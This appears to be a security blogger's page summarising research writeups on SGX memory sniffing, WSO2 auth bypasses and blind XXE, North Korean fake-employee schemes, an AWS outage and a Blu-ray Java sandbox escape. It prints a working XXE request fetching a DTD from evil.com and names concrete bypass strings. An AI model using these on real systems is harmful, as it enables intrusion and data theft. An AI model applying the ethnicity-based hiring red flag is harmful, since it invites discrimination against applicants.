Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Trusted Execution Environments (TEE) are a sections of a CPU that run code that is isolated from the rest of the system. The whats and the hows of these differences depend on the generation. In recent years, a shift has occurred, with these now being done on consumer servers. Server TEEs use deterministic AES-XTS without replay protection for memory encryption and don't use integrity checks either. Dropping these protections comes with significant advantages in terms of speed and usability.

TEEs goal is to shield the code and data in the enclaves from both inspection and modification, even with root-level adversaries on the computer. At boot-time, the CPU reserves sections of memory for the exclusive use of Intel's implementation of TEE called SGX. This cannot be accessed by other parts of the execution - only the SGX enclave. SGX implements memory encryption by encrypting the entire address space with a key determined at boot time.

The goal of this attack is to steal content from the SGX enclave by sniffing memory during specific operations. To do this, they created a custom logic analyzer that sits between the DDR5 memory bus and the CPU; details of its construction are in the paper. To ensure the proper lines are being listened to, testing must be performed to verify the mapping of physical addresses to DIMMs. Since the kernel allocates the memory used by SGX, once we know the location of our interposer, we can force the SGX enclave to use that memory.

They also use a clever trick to start and stop the SGX enclave: memory permission changes. Once the TEE is executing the code, we can't see it. However, we CAN change the memory's permissions. By removing access from the TEE engine, the code effectively stops. This allows traces to be taken to be much more accurate.

A key insight is that the encryption key used by enclaves is the same on boot for the memory. Since we can upload our own enclave code to the machine, any data written by the other enclave that matches ours will be a known value! They provide an example of this being bad: secure attestation with ECDSA. By doing this during an ECDSA signing process, they can determine the value of k. With k in hand, you can recover the private key!

With these keys in hand, it's possible to run code that would typically be confidential outside the SGX context. This capability is catastrophic and is demonstrated in the rest of the paper. In the example of BuilderNet, a network of block builders on an EVM chain that runs in an enclave, it breaks all of the guarantees. Usually, the software prevents frontrunning and reading the information of confidential transactions, but this is now possible. Even worse, this contains a key with $200K worth of ETH in it. A similar thing can be done on the Secret Network as well.

There are several other cases of this attack breaking the security. If you don't use deterministic encryption, then this attack wouldn't be possible. Another safety measure is to have location verification and CPU whitelisting. This would prevent jobs from being used on attacker-controlled hardware in a lab capable of performing these attacks.

In my mind, once an attacker has access to your computer, they can do whatever they want. This is a great example of that. Overall, an excellent paper on breaking TEEs with a hardware-based attack.

The JavaScript runtime supports compiling JS to native code for optimization. Of course, this is extremely sensitive and must be done correctly. The author found a difference between the code that was created and how the code is executed.

The functionality in question deals with denormals. These are floating-point numbers so small that they can be rounded down to zero. For WebAudio, this optimization is turned on. The V8 optimizer could analyze this code before this CPU setting is changed but execute it after.

The JavaScript runtime includes code that changes how floats are handled. In particular, AvoidDenormals() can be used to change the semantics of how floats operate. By JITing code that handles floats and then calling this function, there is now a difference between checking and using effectively.

Using this bug can cause memory corruption in the V8 Sandbox. According to the finder of the vulnerability, this also affects other browsers.

KnowBe4 had been searching for a principal-level developer and posted this job online. At the end of it, the employee hired was North Korean. The individual had stolen the identity of an American, allowing background checks and other procedures to pass.

Upon being onboarded, they were sent a MacBook at a different location than their resume stated. Once they accessed their computer, they attempted to add password-stealing Malware. The EDR on the laptop quickly noticed this, and the SOC team asked the new hire if everything was alright. He made confusing excuses, refused to hop on a call and then stopped responding on Slack altogether. Because of this weird behavior, the laptop was completely locked down from the network after only 25 minutes from the first alert.

Upon analyzing the laptop remotely, they realized that the Raspberry Pi was being used to access the keyboard, video, and mouse. This was to ensure that the laptop didn't have any weird TCP/IP traffic for remote access running that could be detected.

The sophistication has ramped up on this in the last 4 years, and the work-from-home (WFM) boom of COVID made this easier as well. Instead of flat-out fake identities, they decided to steal identities. NK started jumping on calls, which hadn't happened before. As such, they have documented some of these changes in this report. There are four parties involved: North Korean Program leaders, North Korean employees in other countries, non-Korean assistants, such as laptop farms and infrastructure for falsifying identities.

The criminal ecosystem assists the NKs with their fake-employee schemes. They will use fake, stolen, and purchased identities when applying for jobs. They have used forged/stolen driver's licenses, passports, diplomas, credit card statements and many other things. Stolen or purchased identities are preferred because they easily pass background checks. Sometimes, an individual gets involved to get paid even.

When operating these jobs, they run laptop farms in the same country and then give the NK's remote access to the devices. One of these laptop farms will sometimes have 90 different laptops from various employers. Instead of using the location on their resume, they almost always ship to this address, making it a tell-tale sign of a NK actor.

Fake employers are also problematic. They will give you a fantastic job, only to compromise your work or personal laptop in the process with malicious software they ask you to download. The main purpose of all of this is to bring in illegal money for North Korea.

At the end is a huge list of red flags. The ones for the hiring phase are as follows:

• Asian descent with an English-looking name, went to a US university, but speaks English poorly with a heavy accent.
• Identity information, work information and other checks will fail, unless stolen.
• When interacting with them, there are a few signs as well. All connections will come from VPNs, the interview will be in a noisy call-center-like location, phone numbers they use are VOIP, and they may hesitate to be on camera.
• Their Internet presence will only be for the links that they sent. It is common for information to contradict itself.

After hiring, a few things are noticable:

• IP address doesn't match expected location. If it does, there's a remote login software on the laptop or other malware.
• Work hours are inconsistent with company hours, and they won't jump on calls/respond promptly.
• Inconsistent product quality, especially if it doesn't seem like the person who had actually been interviewed.
• Payment requests are strange. Either weird banks or cryptocurrency.
• Korean language support found on the laptop.

To prevent these types of attacks, check all of the information above. For instance, check references, if the numbers are VOIP, use cameras, etc. Asking questions about normal country things, such as "What is the name of that mascot of the college you went to?" is a good way to trip them up. Overall, a great and informative post on NK fake employee/employer scams.

This article discusses a paradox: the more esoteric a programming language is, the better its developers are. This is because people don't learn esoteric languages for their jobs; they decide to learn them because they like programming and aren't satisfied.

Using this knowledge, companies should adopt esoteric languages to attract top developers. Developers have a weird incentive here: learn languages that you don't merely learn on the job. Whether this is actually code advice or not, I'll leave up to you. In my mind, using an esoteric language really shrinks the pool of potentially good and bad developers.

The author noticed a file called WSRequestXSSproxy_ajaxprocessor.jsp that hadn't changed much sense 2008. It's unused but a leftover artifact of the product. The whole purpose of this was SSRF as a service. In 2020, they noticed this internally and tried to fix it but failed.

The patch just made it so that you had to be authenticated to access the endpoint. Because of some issues around Java applets, a special case was added to not have authentication on .jar files. The check did a string comparison check with endsWith on the path of the URL. By adding ;.jar to the end of the URL, it would bypass the check. This works because of matrix parameters. By adding this string to the end of the URL, you can then get the SSRF unauthenticated once again.

The SSRF is heavily based around SOAP and XML. The vanilla code allows for control over the URI, username, password and payload within XML. Using a CRLF vulnerability in the SOAPACTION header, we can add arbitrary headers to the request. This gives us more freedom to exploit how we want.

This is a limitation though: we can only read XML and JSON responses. What if we wanted to read something else? The Range header is used to specify which bytes to send in the response. By choosing which bytes to send in the SSRF response and combining the newline injection, we can return a byte at a time. Luckily for us, this will return an error with our character in the middle of it. This turns a mostly blind SSRF into a full-read SSRF.

The newline injection can be used to exploit HTTP pipelining to get Request Smuggling. Notably, this can desync requests and responses. If you're lucky, other users will get your response or you'll get another users response.

Overall, a good chain of vulnerabilities to increase the impact. I didn't know about the matrix parameters so that's a new tool to add to the bag of tricks.

The application defines route permissions via using path regular expressions. The permissions aren't part of the path! Immediately, the author thought there is no way this is being done correctly. The default is no authorization checks for some crazy reason.

There is a set of OAuth endpoints for configuring authentication on the service. Obviously, these having bad regex's would break the security of the application. Some of the endpoint weren't included at all! Some could be bypassed by adding a trailing slash. For instance, the regex (.*)/keymanager-operations/dcr/register would NOT match to /keymanager-operations/dcr/register/.

In 2022, a complete bypass for all authentication was found via finding a difference in the regex parsing and the server parsing. Adding a semicolon into a path was valid yet not counted in the regex's. For instance, /scim2/Users could be bypassed with /scim2;/Users. Apparently, semicolons are valid within the path segment as matrix parameters. So, this was a valid path but not picked up by the regex. Instead of rethinking this approach they doubled down and rewrote a lot of the regex's super crazy rules.

The patch for this was to ensure that ;/ would always be rejected. To find a bypass for this, they reviewed the ordering of operations. Upon analyzing the code, they learned that the URL decoding happens after the regular expression test but before getting the URL. So, simply URL encoding parameters can also bypass the regex checks.

The definition of a route contains a METHOD as well. If the method in the HTTP request doesn't have a corresponding route, then it will fail. Because a route can support multiple methods, the code uses a .contains() for the authorization checks. Sadly, this is case sensitive but it's normally to be capitialized later. So, invoking a route with a lowercased method will bypass authentication. Yikes!

The service APIKeyMgtSubscriberService doesn't require any special besides valid credentials. This appears to be a legacy API for creation and management of OAuth clients. By calliing this API, you can use a low-level user to create an Admin user. Yikes!

After reporting the vulnerabilities, the product team asked the author to stop testing their products. At the moment, they had dedicated a war room team to evaluate the architecture and find more issues. They ignored this and submitted more critical bugs the next day. Overall, an awesome post with great background, discovery thoughts and exploit notes.

WSO2 API manage is an API gateway and lifecycle management platform. It's similar to Kong. The API gateway gateway takes in HTTP requests and forwards them to the backend API servers. WSO2 adds authentication, rate limiting and easy deployment. This code is built on top of Apache Synapse, a Java mediation framework with several customization.

The 404 not found page was using a templating engine. the page itself was defined in a Synapse 'sequence' file in XML with the text containing the URL path as input. Like any templating engine, there is logic to replace the placeholder with the real value. This logic tried to see if the input is valid XML by creating an XML document with it. If it's not, then the data is escaped.

What's the issue here? The input is not escaped in XML! This leads to a classic template injection. What's weird though is that this turns into eXternal XML Entity (XXE) injection. Since the import happens twice (once in verification of the data and once in adding to the sequence file), the second time will always fail. Practically, this means that the exploitation of this must be blind.

The exploitable parameter is the path of the URL. So, the author needed to create valid XML that was also a valid URL path. To do this, tabs must be used instead of spaces. Although this should technically be illegal, the server allows it; encoding the spaces with %20 didn't work either because it won't be decoded before it hits the XML parser.

Another issue arises: the DTD thinks this is an absolute URL path. So, the path itself needs to include a URL at the beginning of it. The actual URL being used for the XXE is nested inside of this. The exploit is super funky looking: GET /http://whatever/<!DOCTYPE[TAB]blah[TAB]SYSTEM[TAB]"http://evil.com:8080/evil.dtd"> HTTP/1.1

The payload above will reach out to the web server http://evil.com:8080. So, what does this mean with blind XXE? In Java, you can include a file, such as /etc/passwd and send the contents of the file as FTP commands. This is only possible in older versions of Java; in newer versions, URLs cannot have newlines in them, which prevents this from working.

In WSO2 API Manager 2.1.0, the reflection above was fixed via not returning the path in the text because of reflected XSS. Lolz - there was something lurking way deeper! The isXML XXE was not patched until years later. Without the 404, it required adding a custom page to the API gateway that used the payloadFactory type. Most developer docs and Stack Overflow posts were vulnerable to this issue though.

In 3.0.0, a service to transform XML requests into JSON was added. It takes a POST request with an XML document and forwards the request to the backend service. Several of the inputs are templated; hence, they are passed to the vulnerable isXML function. This creates a new universal path exploit on the project.

In 3.1.0, the XXE bug was fixed but readded back in 4.0.0. Finally, for version 4.3.0, the vulnerability is fixed for good. Overall, a great post! The history of the issue and exploitability on different versions was interesting to read about.

The author of this post bought a e-book on Amazon that required the usage of the Kindle App on their Android phone. As soon as they did this, the app crashed. They tried downloading it, backing it up but none of this worked. They had bought the book but couldn't read it. So, they decided to reverse engineer the app to get the book into a usable format for themselves.

The Web API downloads a TAR file with several JSON blobs in it. Upon trying to read this information, they realized that the API was heavily obfuscating the requests. Their was a mapping of Glyphs to Character IDs. They were using a simple substitution cipher that changed on every API request.

Interestingly enough, browsers handled the data fine because of native Path2D support. Using a custom parser for an SVG didn't work. SVG libraries had spurious lines everything. They even had 4 font variants!

After a large amount of effort, they figured out how to render the book. It required a lot of visual mapping code that I'm sure was a pain to write. Although it wasn't perfectly precise, it was good enough to get the job done. The end of the book has a great point: "Was it worth it? To read one book? No. To prove a point? Absolutely."

AWS had its worst outage in 10 years. It lasted 16 hours and took down 140 services including EC2. The author of this post doesn't work at Amazon. But, they are an experience developer who took information from several locations and aggregated it together.

DynamoDB had a service failure at about 7am. Since AWS dogfoods much of their stuff internally. So, when DynamoDB went down so did literally everything else that was using it. So, what was the issue? A race condition in DNS registration.

DynamoDB has an automated DNS load balancing system. They have have three DNS Enactors (adder of rules) that operate in the three availability zones. These don't have any coordination. The exact us-east-1a was going very, very slow - likely 10x-100x slower than normal.

The DNS service gets rid of old plans in an automated way. This is done via "keep last N" strategy. The DNS plan that was being enacted fell outside of the safety of N. This meant that an active DNS plan was removed! This time of check vs. time of use issue led to everything going down. The system didn't have a fallback to fix itself once the DNS broke.

There's two issues here: a TOCTOU bug and a missing check for a stale plan being active or not. They mention the Swiss Cheese model: the more holes that are in the system, the more likely something is too happen. Much of the time, several things need to go wrong. This outage lasted about 3 hours but more damage was caused.

The EC2 service uses DynamoDB for metadata management. So, current instances could keep running but you couldn't create new ones or stop current ones. Once DynamoDB came back up, EC2 still didn't work. The DropletWorkflow Manager (DWFM) contains a large list of active leases (10^6) of which 10^2 are broken, meaning that a connection needs to be reestablished. The heartbeat timeouts raised to 10^5, creating a gigantic queue that led to a congestive collapse. This was only fixed by manual intervention.

The author claims that software is much buggier than we realize. If AWS, the giant of the cloud industry, has these types of issues laying around then there are many more to be discovered. Overall, a good post on the outage.

Blu-ray Disc (BD-J) runs Java code calls XLets for menus and bonus feature functionality. Since the Blu-ray player's manufacturer doesn't trust the disc's code, it runs in a Java sandbox. XLet can render menus, use its own memory and talk to other apps. It cannot do things like read or write files to the hard drive and many other things.

A core component of the sandbox is the Security Manager. Whenever a sensitive operation is required on Java internal APIs, a privilege check is performed. If it's rejected, then the code fails.

The code describes two vulnerabilities. The first one has to do with a bypass of vulnerability 3 discussed here. The Security Manager performs a check to ensure that classes under com.sony.gemstack.org.dvb.io.ixc.IxcProxy cannot call invokeMethod. An attacker can write a subclass of the target class to perform this operation anyway. To fix this, the code now checks the call stack to see if the class is included or not.

There are still instances where this code needs to be triggered, requiring a whitelist of sorts. By calling allowed classes that call the invokeMethod, it's possible to perform the same attack. An attacker can extend IxcRegistryImpl and create a remote proxy for it. By calling bind at the privileged location, verification is not performed. This allows registering arbitrary classes, that shouldn't be possible.

The function com_sun_xlet_execute is called via a wrapper of remoteMethod in a doPrivileged block that is accessible to the sandbox. This can be used to overwrite important functions and objects within the runtime. They use this to create a custom security manager that does nothing. This leads to a complete sandbox escape. Neat!